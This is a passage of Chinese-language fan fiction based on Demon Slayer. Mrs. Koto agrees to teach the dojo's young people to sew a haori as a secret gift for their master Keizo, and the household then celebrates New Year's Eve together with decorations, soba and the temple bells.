她放下图纸,目光缓缓扫过眼前四张年轻的脸:“你们确定要做吗?从头做一件羽织,从选料到剪裁到缝纫,每一步都要花心思。不是改改补补那么简单。费时,费力。” “确定。”狛治毫不犹豫,声音斩钉截铁,“费用方面您不用担心,我和太郎这次护卫赚了些钱…” “我不是说钱的事。”琴夫人轻轻打断他,摇了摇头。炉火的光在她脸上跳动,让那些岁月的纹路显得格外深刻。 “手艺有人愿意学、愿意用,是好事。我只是想问清楚——你们是真心想为师父做这件事,还是一时兴起?是一份心血来潮的礼物,还是一份沉甸甸的心意?” 房间里更静了。顺一跪坐在母亲身边,屏着呼吸,眼睛在母亲和道场的几人之间来回移动。 妓夫太郎盯着图纸上那件还未成型的羽织,喉咙有些发紧。 他脑海里不受控制地闪过许多画面: 雪夜里师父递过来的那两个还温热的豆沙包; 换药时师父那双粗糙但异常温柔的手; 第一次握住镰刀时,师父说的那句“你要用它来守护”; 还有小梅现在红润的脸颊,清脆的笑声… “是真心。”他说,声音不高,甚至有些干涩,但每个字都像从心底掏出来,重重砸在地上, “庆藏师父给了我和妹妹一个家。我们…也想为他做点什么。我们不知道能做得多好,但…想尽力。” 他说完,垂下眼睛,盯着自己放在膝盖上的手。那双手上还有冻疮留下的淡痕,指关节因为常年干活而略显粗大。 但现在,它们可以握刀,可以和面,可以…尝试去做一件温暖的衣服。 狛治没有立刻说话。他只是挺直了背,然后深深地点了下头。这个动作比任何言语都更有分量。 恋雪的手在袖子里悄悄握紧了,她轻声但坚定地说:“琴夫人,请您教我们吧。我们想学,也想…把这份心意好好做出来。这件事虽然是我们几个临时的主意,但是想做好的心意绝对不是一时的。” 小梅看看哥哥,看看恋雪姐姐,又看看狛治哥哥,最后看向琴夫人,用力点了点小脑袋:“嗯!琴阿姨,我们一定会好好学的!” 高桥琴看着他们,看了很久。炉火噼啪,水汽氤氲,她眼中那些复杂的情绪,审视、感慨、回忆,最后都慢慢沉淀下去,化作一片温和与了然。 “布料呢?”她终于问。 “备好了。”狛治说,“是一块藏青色的纯棉料子,在邻镇城东的藤吉屋买的。老板说料子厚实透气,适合日常穿。” “藤吉屋的布确实实在。”琴夫人微微颔首,“其他的东西,衬布、线、扣子,还有裁剪用的工具,我这儿有一些,但可能不够。这两天我把恋雪小姐的图纸细化一下,看看缺什么,一并列个清单给你们。” 她顿了顿,看向狛治:“另外,顺一跟我说,你们打算以旧羽织需要缝补为由,把庆藏师父的衣服借出来量尺寸?” “是…目前是这么想的。”狛治坦言,“但具体怎么做…我们还没想好。” 琴夫人沉吟片刻,手指在膝盖上轻轻敲了敲:“这个交给我吧。明天让顺一跟庆藏师父说,我这里有块适合补衣服的料子,颜色相近,请他把羽织拿过来让我看看。补衣服,总得对着原衣比划,量尺寸就顺理成章了。” 办法简单却有效。几个孩子眼睛都亮了一下。 “那…工钱…”太郎迟疑着开口。 琴夫人摆了摆手,脸上露出这些天第一个真正舒展的笑容:“说什么工钱。庆藏师父对顺一有恩,对你们有恩,便是对我有恩。教你们手艺,帮你们完成这份心意,我心甘情愿。只是…” 她目光扫过他们:“既然要学,就要认真学。缝纫虽是手上功夫,却也讲究心静、手稳、眼准。不能半途而废,更不能敷衍了事。” “我们一定认真学!”小梅抢着保证,小脸因为激动而泛红。 事情就这样定了下来。气氛一下子松快了许多。 琴夫人招呼大家喝茶吃点心,自己也拈起一块芝麻糕,小口尝了。甜而不腻,桂花香隐隐约约,是她许久没尝过的、属于节日的温和甜味。 吃完茶点,几个孩子没急着走。狛治和太郎起身,挽起袖子:“琴夫人,家里有什么要搬要抬、要除尘的活计吗?快新年了,我们力气大,搭把手。” 顺一连忙说:“不用不用,我…” “让他们做吧。”琴夫人温和地打断儿子,对狛治他们笑了笑,“也好。屋檐角有些蛛网,我够不着。后屋柴火堆也有些乱了,若是方便,帮忙归置归置。” “好!” 四个人立刻动起来。 狛治动作流利,拿了长竿绑上布,利落地清理房梁和墙角; 太郎和顺一去了后屋整理柴火; 恋雪和小梅则拿着抹布,帮着擦拭柜子、窗台。 小梅人小,够不着高的地方,就跪在榻榻米上,把边边角角的灰尘擦得干干净净。 琴夫人坐在炉边,手里拿着针线,缝补着一件旧衣,目光却不时抬起,看着屋里忙碌的年轻身影。 阳光从擦净的窗户照进来,灰尘在光柱里飞舞,却不再让人觉得陈旧,反而有 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狛治和太郎对视一眼。买那块藏青色棉布花了些,琴夫人虽然不要工钱,但衬布、好线、扣子,还有可能需要添置的裁剪工具,都不是小数目。他们这次护卫赚的钱,付了布钱,又买了年货和食补的材料,剩下的… “够。”狛治说,语气很稳,“不够的话,新年过后,我去镇上转转,看看有没有短期的护卫或者搬运活计。白天做,不耽误道场的事。” “我也去。”妓夫太郎立刻说。 “我也…”恋雪刚开口,就被狛治打断了。 “你身子需要静养,这些跑外的活我们来。”他的语气不容商量,“而且缝纫的事,主要还得靠你和琴夫人。你在家,也能照看小梅和师父。” 恋雪张了张嘴,想说什么,最终只是轻轻“嗯”了一声,低下头,耳根却悄悄红了。 回到道场,庆藏果然没闲着。他正一个人哼着不成调的小曲,把买回来的门松摆在玄关一侧。松枝青翠,竹竿挺拔,衬着深色的门框,立刻有了新年的气象。 “回来了?”庆藏回头,看见他们,笑道,“琴夫人可好?点心送去了?” “送去了,琴夫人很喜欢。”恋雪柔声回答,“我们也帮琴夫人家里收拾了一下。” “那就好。”庆藏满意地点头,拍拍手上的灰,“正好,你们回来,咱们一起把剩下的装饰弄了!注连绳还没挂,镜饼也得供上。” 他兴致很高,指挥着几个孩子忙活起来。注连绳是用洁净的稻草编织而成的粗大绳索,上面挂着白色的纸垂。庆藏踩着凳子,小心翼翼地将它横挂在道场大门的上方。 “左捻右捻,方向不能错…好了!”他跳下凳子,退后几步端详。 庄重的注连绳悬在门楣,纸垂在微风里轻轻摆动,仿佛一道界限,将旧岁的尘埃与晦气拦在外面,迎接清新祥和的新年。 接着是镜饼。这是一种用糯米制成的圆形扁饼,两层叠放,象征“圆圆满满”,是供奉给年神的祭品。 庆藏将大小两个雪白的镜饼叠好,放在一个洁净的木制托盘上,郑重地供在道场主屋的神龛前。旁边还放了一个橘子,寓意代代兴旺。 “这就齐活了。”庆藏拍拍手,看着装饰一新的道场,脸上是满足的笑意,“有了这些年饰,年神才会乐意来咱们家,保佑来年一切顺遂。” 小梅仰头看着门楣上微微晃动的注连绳,小声问:“庆藏师父,年神…长什么样呀?” 庆藏被问住了,挠了挠头,哈哈一笑:“这个嘛…谁也没见过。但人们相信,只要心里怀着敬意,把家里打扫干净,准备丰盛的食物,用这些装饰诚心迎接,年神就会感受到,然后赐下平安和福气。” 他说着,目光扫过身边的孩子们。恋雪温柔恬静,狛治沉稳可靠,太郎眼神坚定,小梅天真烂漫。这份“福气”,其实已经在他身边了。 “对了,”庆藏像是想起什么,看向狛治和太郎,“琴夫人那边…是不是没提工钱的事?” 狛治摇头:“没有。琴夫人说不用,她心甘情愿教我们。不过…”他顿了顿, “我们想着,不能白白让琴夫人费心费力。等新年过后,我和太郎去镇上转转,看看有没有短期的活计,挣一些,哪怕买些实用的东西送给琴夫人,也是一份心意。” 庆藏听了,没有立刻说话。他走到廊下,在缘侧坐下,示意几个孩子也过来坐。 冬日的阳光斜斜地照在廊下,暖洋洋的。远处的街道隐约传来孩子们嬉闹和人们互相拜早年的声音,年的气息越来越浓。 “想去就去吧。”庆藏终于开口,声音平和,“年轻人,靠自己的力气挣饭吃,是好事。镇上饭馆、货栈,年末年初生意忙,有时会招短工。护卫的活计也有,但一定要问清楚,去的地方、护送的东西,得是正经来路。白天做,晚上一定要回来。” 他看向狛治和太郎,眼神里是长辈的关切与信任:“记住,咱们学武,不是为了争强斗狠,但有了本事,就能接更稳妥的活,走更踏实的路。你们两个相互照应,遇事多商量。” “是,师父。”两人齐声应道,心里踏实了许多。 “好了,先不说这个。”庆藏站起身,伸了个懒腰,“眼下最重要的是过年!晚上咱们吃跨年荞麦面!吃了面,断了旧年的厄运,平平安安迈进新年!” 夜幕降临,道场里灯火通明。 厨房里,狛治正在煮荞麦面。滚水翻腾,细长的灰褐色面条在锅里舒展。他捞出面条,在凉水里迅速过一下,保持劲道的口感,然后分盛到几个温过的大碗里。 汤底是用昨晚剩下的鱼汤加酱油、味醂调制的,清澈而鲜香。每碗面上铺几片薄薄的烤鱼、一点葱花,再放上一小撮象征“喜庆”的红色腌姜丝。 一家人围坐在被炉旁,面前各摆着一碗热气腾腾的跨年荞麦面。 “来,”庆藏举起筷子,笑容满面,“愿咱们一家,像这荞麦面一样,长寿安康,厄运断绝。新年快乐!” “新年快乐!”大家齐声说道,声音里充满真诚的祈愿。 吸溜吸溜吃面的声音在温暖的屋子里响起。面条爽滑劲道,汤头温热鲜美,简单的食物,因为特定的时辰和共同的心意,变得格外美味。 小梅吃得鼻尖冒汗,嘴角沾着一点汤汁,笑得眼睛弯弯。 吃完面,收拾完碗筷,夜色已深。但没有人急着去睡。 庆藏拿出前两天买的一小壶清酒,给自己斟了一小杯,给恋雪倒了杯热茶,给狛治他们准备了甜甜的果汁。炭火烧得旺旺的,橘红的火光跳动着,映亮每一张脸。 远处,隐隐传来了钟声。 深沉、悠远、庄重,一声接着一声,穿透寒冷的夜气,传到千家万户。 “是除夜之钟。”恋雪轻声说,侧耳倾听。 “一百零八下。”庆藏抿了一口酒,眯着眼,“代表人的一百零八种烦恼。每敲一下,就驱除一种。听到最后一声,新年就来了,烦恼也留在了旧年。” 钟声不疾不徐,在寂静的冬夜里回荡。 屋里没有人说话,大家都静静地听着。 狛治坐得笔直,眼神落在跳动的炭火上; 太郎低着头,不知在想什么; 小梅靠在哥哥身边,眼皮开始打架,却还强撑着听钟声; 恋雪双手捧着温暖的茶杯,目光柔和。 钟声一声声敲在心上,仿佛真的有什么沉重的东西,随着这古老而庄严的声音,被一点点震落、消散。 当最后一声钟响余韵散尽,万籁归于寂静的那一刻,庆藏举起酒杯,声音不高,却清晰有力: “新年到了。愿新的一年,道场兴旺,家人平安,万事顺遂。” “新年快乐!” 窗外,深蓝的夜空下,镇子里零零星星亮起了迎接新年的灯火。而道场里,炭火正暖,茶酒尚温,最重要的家人都在身边。 旧的年岁带着它的风雪与艰辛,已然过去。而新的春天,就在这片寂静与祝福中,悄然萌芽。 秘密的礼物在筹划,未来的日子在展望。这个家,在这个寒冷的冬夜里,坚实而温暖,充满了希望。